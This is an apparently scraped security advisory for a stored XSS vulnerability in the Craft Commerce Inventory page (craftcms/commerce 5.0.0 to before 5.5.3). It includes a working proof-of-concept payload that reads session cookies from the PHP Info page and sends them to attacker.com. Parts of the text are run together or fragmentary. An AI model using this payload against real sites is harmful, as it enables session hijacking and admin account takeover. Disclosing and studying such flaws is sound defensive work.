| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| craftcms/commerce | ≥ 5.0.0, < 5.5.3 | 5.5.3 |
| craft commerce | ≥ 5.0.0, < 5.5.3 | 5.5.3 |
Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.
This vulnerability enables session hijacking by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.
https://attacker.com)
<img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})">
/admin/commerce/inventory)The PHP Info page (/admin/utilities/php-info) displays cookie values (unmasked) in multiple locations:
HTTP_COOKIECookie (used in this PoC)$_SERVER['HTTP_COOKIE']$_COOKIE['<cookie-name>']$_COOKIE['CRAFT_CSRF_TOKEN'] is masked in PHP Info, but the unmasked value is available in the other parameters listed above.これらの製品をお使いですか?サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンCRAFT_CSRF_TOKEN, CRAFT_SECURITY_KEY, and CRAFT_DB_PASSWORD are already masked)